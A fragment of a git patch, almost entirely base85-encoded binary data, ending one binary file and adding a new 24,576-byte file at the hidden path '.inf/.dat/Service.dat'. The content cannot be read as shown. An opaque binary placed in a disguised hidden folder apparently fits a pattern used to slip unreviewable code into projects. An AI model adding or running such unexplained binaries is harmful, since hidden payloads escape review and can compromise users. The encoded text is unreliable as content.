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 QINmsZbPQpX{#68i2XELv9{>OV literal 0 HcmV?d00001 diff --git a/.inf/.dat/Service.dat b/.inf/.dat/Service.dat new file mode 100644 index 0000000000000000000000000000000000000000..4decf87ec419fae0e90fdb78d064aadffad12417 GIT binary patch literal 24576 zcmeHv3w+a6mj6wgKnv6qp;{j-KWnS4BQ@nERjLV1?G(llwKX%drPpmoq` zNsDA+wBuWMcDKt8=s2Ux&VNP$XV(BqLC3Lz3MxB;uQ9PWgO5Q#*X;M)-~F{|V0LHs z^WVqk|L;$KIp>~x?z!ilbME^`>u%^{*^Dtg-c*XQt$_5H`R~8|(}nCarf)xk{XF;8 z3%2TPuU^pD<_=2!fUh-RZ!n0JpDQTbtJ%f0`??6Mc*($I~ zMAgcUAgZj!WC3w>wGsKh!RK^WwAfp~H$-ESA+GB=< za=*&Q+qepuROfuWX^)xsI#fPA)kg*(K4hdnNSe!=gF#NCpz7k-DL){`%iXFxZtFg< zOu}m&&1xojiigW1^;th&s=pp@+GFPJ4F(*bai47w5WYx%%p@=1^!UK&r;IpWl6MQ< zw8zZYg0$rS)95babTf0g%8k=|csnchCeM)=b7^VI3d?fKGE3vK70Vms@R5~HIjS!) zfmM$BbL8kW+ckt%)r1)vnqr*J0s{uWk1^`oHNBr2dmi9*7;G3Hrqn*=VmbWc${TNKy4iA* z(lO22I9q(l)7DD^l$cq$Q^)-dY1B1p zqm5r3uZH6)+NkZT_!|^0Lj@8EWU&;gEre+s>2i8FArvlg_B_R)ltVF3qLoSaq3b*9D z-=tF85Q3@1tLGuPhoU8xHyLJ5{4^hgCqM{yC}$YgR{^s|`w}Qcj@?I&O_qX~I1fU% z(L|R>LIzrQE)k{^;UEZo#_3(a8Tx!F%v!KO3%OyVIvRpL_=8eL*CKMY}ZH@$3{jXHU378Kix;#(Ef^jsxhx05A`CuRuEZ>(SZzB&;*8L*2@HFESI8p_zccSjp&;i&T(q2II z48?|ar0E}i@9XdhU1<7%;f`BLBe=!T28?*+0YkeWBEl8`g_?^9q)NVAOMz-;8TKwj zIWTR8x8S+gDruXh#;i)LyhN&FIMm(&-o|(!s?{yu3@Hd)l)<^_CA1$P{G@%z!sfx1HjPKZ5yUQ zr~Too^(v1KJc)sSNu^-c4`>u;ZUv=&X_c9gY{ul{<|+ zQ@~=4n)5M$hCYd!65k;?$BaE!a?>^zcSJr*7`bd?&&8nGV!tfzLWNXEhlP)}&_SYh z*dl9-OKCDp>5TBlfBLSW<7wv7d9*$pRiZdXFlK+Hc_lQ*Gqvb{Gz&-@QZa z9Sta`F_M7jPgMal7e9glqawa7kJO2Lg_;rmF5@5Ka^w?=@QzW|>jM`(#>uKB6ZUMi zhM#~4DYVeDVOH(HOev$0PZD__+4@Jo=pmd3EO68$#|%xEQ>(4T^W;cUj`S37LC#hK zelQtqZ-sYMN0BRC$UY1R(jfq}ircGRjwr=4DQX6V+-Z`=u^hlsN>heJNUGqePEt3t znj2p3-K!W9kC1yKNtk6g+|EX=dSlNI5NYVN)J-xwZ4ZfqynT>I*6c#6N`lhH9vYvA zp5gOC;zGzy&V?9lzP+b-130-0RJQ?5`VbN5{}7d&K)l22HCmQ+A2|#mSapyKBd^d9 zLr%also-Yb7-P>#61nwiW`wDU{wac8<|7*-lZwUeDemXRZ=x=84;Qd~E~mi3Fmo|B zVvu(cH3pQ5IA|}-At~14RhDfOinhp3IbtIxognH;`hnf8useRtWOE24+m}LLf>J(U zs^Ds_%`O^eJ@9q{Vr{V=Zinqu0)roUo$Qh-IJt(@&C7;9iH8f+%;=mWpgvE$skcyl z>aEB@xP{CDx9mz4)KLwwyo({Z;@!y3#LXx;^lqwPj!It%I;aatTy#!9WDRXg6%?wO z`C6e;Dztg@gq14U3GTkWRLRc-+$iAv0ajmC=g5(QM=8n2W3gyRo3Hq;0xOJy3oA)tR%8dJbEOj9PKxXa zCv|e{{GD7^IS+X)uOY- z3NC?^{m+Q?^^`GG4~e(wigpD~~6&qw_gaY%#)Xhg@2x9sYp_Rm7MdU&MXTGTtV zek6Sk(#as4LH-ASC#7izCejv4H&7(RraeITLUNpVc>6ITVN}G3#8sz>WR(pARht}X zR7a`O#E&o%p%G7`JT3L7L2Egx6ql-vT~E1@cQ9*GW<4?!?}F6l>QlGH^|E8m?q=e7 z1#|knXCr>l4YqWz1flc5;afn{-U3X)PfEs~8EA!ZeJgYe zpEMhLlStM^$Dg7@E=5s-h_HD{#aqhwh$_P(_7F>3hhCW;W_z1NYi zqgChKPE+!5|3F}Lg8{Lv9yTa>=qZS0Ij1g?OdY_+8`YIwIcFu9*6vGA;$ekx+ZvsS zbBj=(6+WOdik@?!9B*+F_JH;G&m`-&^GPI4A8XX1#}JFLwK`jW(W2O-*|2fqBHk1| zZ^|b`OcaZ@yq3HI#u-_ES)$|NtGwFh!3%Gps@#L8nCo1=S(hvK81JJ+Fr0?7QR6*- z10bCC3v8OzVrh0vn>@+3`JUP*5eAL2(9x0$kr)g0SpbTPvhCaj7tb z77DkJ)T1y6{Ewrt-sM2aeaU%*#PZf-@Q?>;j#G_^9Ve+XVv$ydu#e?Ej=aRvM2qEJ zMEKtV$2q`}mGIe{H=`itsWQwG>ayQuoVp)lti-p#G|-kBCpQ+GFe_jwm>Q%5gq6Eo zeR3r4F_cZ-gw9DrHmxs?S@c=P-Xe0~Ry0xUEH)|HEez9wQG2ZnRnE2IZZze)I%B8=9M(v6tz z%W|*pB=A9s9}x#f zAcX==xr7JVROE|TNZty3xV#9WeH-9$i43>vv5@A=cKA!fWGKNoDD>Frw+)NZu2nH z=gQG)Eb>32h5wEDC=xmZStV4QFHM_n#_7_xw_=gZ;}hXCFKYPx^%&72dr{oTJJdYb zUbQcc6f!^U*j@;8TQP)~6KlqkGI6EWilvB|4iET_l9c`>Bv~Ulwum_=RnUZLu$9;V znhYk&{~_TK%peiN?LbonLGTQHpL>0%7vm4co2cOyWI>q;qIbhjsMmzzH}f*%x!gPx z$->U09BUyHPCPa6%=w9b#t|RHoW;c)cO!l> z#t-QA_DX25d|&Z&HuD8|$=^v|xos9~L2xOW|jL=6g32)ocu^sH6DN%@P?=0mgtyEd2$=1WW` z?YSXgoR83s#Z+Rza3KIa1BMF(hI6Dg1eqH_rusQijrB1x74{iC#XdW2l{;V`?C>jJ5BxOUKCpzF>ffv0LBUOFcTh@hWRI|iOH@y_ zt3o3O| z2TN%XPqXJS^Tm>a_$EDDJ-?08N{I)}cS*{!zRQc2> zla1CvB8{@Yo5~{$|GVrzi5gK`xr4`N)Li`4;Eu#}tv}dsUVbrcL*wxHm8wA-V9-x}(V9t+W*=xzNdzC|E;*Zt$~ZQ+;hj)uU+8^QE9BdB2ZtumIK^!~72S-M>7nt_`bik$4)pH* z-bd8+>U0OGz{mh_T|HLI`RHdjXD$q!BX=ixDxAyY864xeYd)6CcE}*EygscgNfGBU z*#Ae~La+ue%7_PXzA`Q~2yM{Q`58+fsSeXPpg=t5!hSgGQUxQOAj=U7{BRk zVI|!&tR$>7agY`=G)_Ywl<#a{3?|p+yFK#V1{aZdqj7noOys*aHO}}%mDVP{{))Vk zI3HfZdMGxvR^IWx9w#^IG6m;=pEzhGjdQ_26K1uj{2Dw{r2l7N@-JbmwEl|uS%%F@ z5CXN4{a8Q_VT!1YyewA^DpPEccWjZ@(Q=vAguMTf#o++#*=>=VumV65TadioVwz)C zG*ciIgpt5Jmnv9-v@HrY8)kH{72E~km=SGQX3V2yh6x>fC#pb2n5g^d!hX229-3~D z=KA#_OVw}De@efPa72pp89UeS10=Y9e~oH4ML2=3x&-`i?HAKv;RE4svv39e68ieN=AKWL0y(-UKe6?9 zD0LKb!HY6o;-Jr?V65O}UV=W@2;G@}ck&N7dZ2q}T9GZ(VIjMf)?+BJ1)Y-n?GesF z_r}JaBcurhTQi9K>yMrjM2hA881ng-28q{j+(4Hm(W(+KVQr1e-UE@N&?!krF+!ie zU#~Cd9xpLj-pW2 zW6yuy0;XG-88JNkzz_V<2;>+ICy1@&sE3%-35Ux^%abk}oi=5p%^B(XjI>{*y9DgZ z$lsEY?l+CDFI~4W{8S4x)(3nJC%)NSyXmGDr^_DlC~Toqsq?jjJkD#}9_M0v zyHj%6fwf#Am9$J?OZ-l6Lv@|qYj1T1M&%Th1dF80AS$3pgtO{^)2=uhoPpJD$7ms> zO`YBCRq#qmn^W@o0_}E>XOk}XjLS7B!%AZCbtJCBBQ<`e^3`;q+Cf;VYEC`caF+sDmB$Wgu zO$n*UZ&%uiq#05z8QbI08YU?|$zu!R8n@CW*<0Gt;DEceO$iE#s=Q$>AZnS` zE=?HcRQZG(v|1auSA;R8Qdr&@@WSAsptDTK$2yDmacph*Q$OwB=}-M?evW`gy4Ccm zjB!PXI|Wz*t)X_OSCLwL?Gy&iK)@G}O07%kEVYZv*l>2x?QIQt>;bpZDU~+VE<_%G zmaKLLTpr&VDPZ@uIWbtPx=va0bysBz)?w_Y+ z8qqqgcT+ne0gWv!LxKl1d$VIh9iIeuH-s z(&ytn0=y1(SuLCdBYl=vNIN#2A^F`VZNbkq5rBd@= zKlR-vXbC`iAHmxmT7yC);u&dEhCZf?Mz`;9#&|fGQGQ`{^%YX-Qs?T5S(i!+LT-!`&7D$R!}Sd_=^w`2 zimp;7Rm>@$S#IJc8si_c&saQ+^_Q{nVQf77-!NbB%|Cv&%pN`OX>@H~|8t?Xe=udt zn}2TkF~0v|3t+>iqfMV5|3nn=nF+fe!-i$9n`g)@o3Q1g{5pAK?9$;HDaQKj7ctT?>2*;32$Szz+kOz61LJC%7B$2H=B$ z^_MdCC~$&zV5 zW%(N?nI^89;LokkiH{r9AI>_;ST3#y^b6p3^iSd|Mt{B>FU3E>%zP_oD?~oQVfj?g zlnHE#u8w8a!g+Y!g{S6CFt7=_n^?9fYn2YMq02F_oOOCr_Npwut{!QjpKe?>8@C|K zq+69yXD0ouTz1xmaV)>Xz$Uio*|_&b8RBae_;@`Vf4^Fzu3$nurvpy6=# zQC&T+ccZ9F)4`C%3^R2muH%9X9h=j1C4Ne4wkJsKN-vY1myTz)N6R~%Oidr+q5O5H zfyf(s{{OW=N8d=>{f}Yny&v;L8f_4?!Ur%9{a}Qz@o|jTpml&(d)h$T@*u|jG+GyE zdq6wglhEi7skvtfST3Mhz3aoyT)-y<+%Dj+ z1w16+?*#l@z;6W1c~q4=Rlp(vO#)sa-~s_{0yYYGi-2tc`USj0z#akb74T63HwyTS zfLjIJDWKNgUyF1igPw(Wqvu=!FA-3sVhu4CH<~Fp9E%&(9RFV2+`y{a=!Qt#<5l~- zE_drp3v;q+Tn%Yt+3s!eI2rrCxV03Qqn6+@T$))JyKnSuCMZYPs9Qt!8MB7`9^5Y} z&PLyDPH#;IW4G&YnaWeOUfitU=7(-xF31{ni3(X4sucBR66xo&mO5MAL0r;lS}OsM zsv?y6Hmkv@hzwlpDIr`V7_#{lUmCmB9mMUQ16NHJ3{kwTqLKMJ^=7uw=kv5VJ^ooU z8@zUZu+671cCk)vRWLJMv7pi)EEci5d!di3=%+Vj^V 